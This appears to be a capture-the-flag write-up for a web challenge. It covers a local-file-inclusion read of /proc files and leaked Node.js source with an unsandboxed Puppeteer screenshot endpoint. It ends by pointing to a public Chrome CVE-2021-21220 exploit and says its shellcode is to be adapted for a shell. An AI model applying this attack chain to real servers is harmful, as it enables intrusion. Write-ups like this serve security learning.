# Headless Updateless Brainless
[toc]
# INFO
http://headless-updateless-brainless.sthack.fr/?file=index.html

```
NOTE1: The challenge port has been updated, the place was blocking non-default protocol-port assotiations.. Have fun!!
Jack had to spend time with javascript. Now Jack lost his mind! Welp, I mean, he... Lost his head. Can you find the magic flag that will solve his dementia?
Please note that this docker will restart every 30mn to guarantee a "sane state", so don't store your work in /tmp or /dev/shm as they'll be cleaned often. You shouldn't need to do that anyway! :)
```
# RECON
## NMAP
```
Open 18.197.146.200:22
Open 18.197.146.200:80
```
# EXPLOIT
## STEP 1 - LFI

```
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/NHZKKSAR3ZKZ6ZGWUMCQJOFOFH:/var/lib/docker/overlay2/l/266RPGU5FARGKQNPN3Y5WTLAEC:/var/lib/docker/overlay2/l/WBE5E7FDQKA2BYOX2AHIRUVV3O:/var/lib/docker/overlay2/l/A2OCLFSTWODDS4MJS22L2I4NBC:/var/lib/docker/overlay2/l/E4IBXUMNJFVETGQFFZFJRPLC2E:/var/lib/docker/overlay2/l/MYESYATC3FLDRY7GFUFKD44DMQ:/var/lib/docker/overlay2/l/2IAGYZDVDXA2AYLDQPA43QON32:/var/lib/docker/overlay2/l/3MO4QL7Y2J6VANMM5WYB3S242V:/var/lib/docker/overlay2/l/AVESM5LJVJ4FVLZDCV3IZZMY5X:/var/lib/docker/overlay2/l/XJRPV6LIVUGSZP5KVGMKXURC3Y,upperdir=/var/lib/docker/overlay2/dbc9e5afe5b3cc30945aae941d49a4172241a8428836a22ec93655251fee2b03/diff,workdir=/var/lib/docker/overlay2/dbc9e5afe5b3cc30945aae941d49a4172241a8428836a22ec93655251fee2b03/work 0 0
proc /proc proc rw,nosuid,nodev,noexec,relatime 0 0
tmpfs /dev tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
devpts /dev/pts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666 0 0
sysfs /sys sysfs ro,nosuid,nodev,noexec,relatime 0 0
cgroup /sys/fs/cgroup cgroup2 ro,nosuid,nodev,noexec,relatime,nsdelegate,memory_recursiveprot 0 0
mqueue /dev/mqueue mqueue rw,nosuid,nodev,noexec,relatime 0 0
shm /dev/shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k,inode64 0 0
/dev/root /site ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/root /flag_random_name_721a9b52bfceacc503c056e3b9b93cfa ext4 ro,relatime,discard,errors=remount-ro 0 0
/dev/root /etc/resolv.conf ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/root /etc/hostname ext4 rw,relatime,discard,errors=remount-ro 0 0
/dev/root /etc/hosts ext4 rw,relatime,discard,errors=remount-ro 0 0
proc /proc/bus proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/fs proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/irq proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sys proc ro,nosuid,nodev,noexec,relatime 0 0
proc /proc/sysrq-trigger proc ro,nosuid,nodev,noexec,relatime 0 0
tmpfs /proc/acpi tmpfs ro,relatime,inode64 0 0
tmpfs /proc/kcore tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/keys tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/timer_list tmpfs rw,nosuid,size=65536k,mode=755,inode64 0 0
tmpfs /proc/scsi tmpfs ro,relatime,inode64 0 0
tmpfs /sys/firmware tmpfs ro,relatime,inode64 0 0
```

```
/proc/mounts
/site
/flag_random_name_721a9b52bfceacc503c056e3b9b93cfa
```
Leak of the cmdline from /proc/self
Got : nodechall.js which is actually node chall.js because of the rendering of /proc/self/cmdline
Get the file form : http://headless-updateless-brainless.sthack.fr/?file=/site/chall.js
```
#!/usr/bin/env node
const http = require('http');
const fs = require('fs');
const puppeteer = require("/usr/src/app/node_modules/puppeteer");
const path = require('path');
async function takeScreenshot(url) {
const browser = await puppeteer.launch({ args: ['--no-sandbox', '--disable-setuid-sandbox'], }); // Docker all the way!
const page = await browser.newPage();
await page.goto(url);
url_path = url.replace("/", "_");
await page.screenshot({ path: "screens/" + url_path });
await browser.close();
}
/** handle GET request */
async function coolHandler(req, res, reqUrl) {
console.log("reqUrl", reqUrl);
url = reqUrl.searchParams.get("url");
url = (url || "").trim().toLowerCase();
if (url.startsWith("http")) {
filepath = await takeScreenshot(url);
res.writeHead(200);
res.write('Work done: ', filepath);
res.end();
return;
} else {
res.writeHead(500);
res.write('Me no Worky :<');
res.end();
return;
}
}
/** handle GET request */
async function displayHandler(req, res, reqUrl) {
console.log("reqUrl", reqUrl);
file_path = (reqUrl.searchParams.get("file") || "").trim();
if (file_path.length == 0 || file_path.toLowerCase().includes("flag")) {
res.writeHead(302, { 'Location': '/?file=index.html' });
res.end();
return;
}
try {
const data = fs.readFileSync(file_path, 'utf8');
res.writeHead(200);
res.write(data);
res.end();
return;
} catch (err) {
console.log(err);
res.writeHead(404);
res.write("File doesn't exist or can't be read :(");
res.end();
return;
}
}
let base_url = "http://0.0.0.0/";
http.createServer((req, res) => {
// create an object for all redirection options
const router = {
'GET/coolish-unguessable-feature': coolHandler,
'default': displayHandler
};
// parse the url by using WHATWG URL API
let reqUrl = new URL(req.url, base_url);
// find the related function by searching "method + pathname" and run it
let redirectedFunc = router[req.method + reqUrl.pathname] || router['default'];
redirectedFunc(req, res, reqUrl);
}).listen(80, () => {
console.log('Server is running at ' + base_url);
});
```
The goto gets a file even if the crash happens after
We get the version of the Chrome used to reach our exploit which is: HeadlessChrome/89.0.4389.72
This CVE correspond to our target: https://github.com/security-dbg/CVE-2021-21220
We need to modify the shellcode then to exploit and get our shell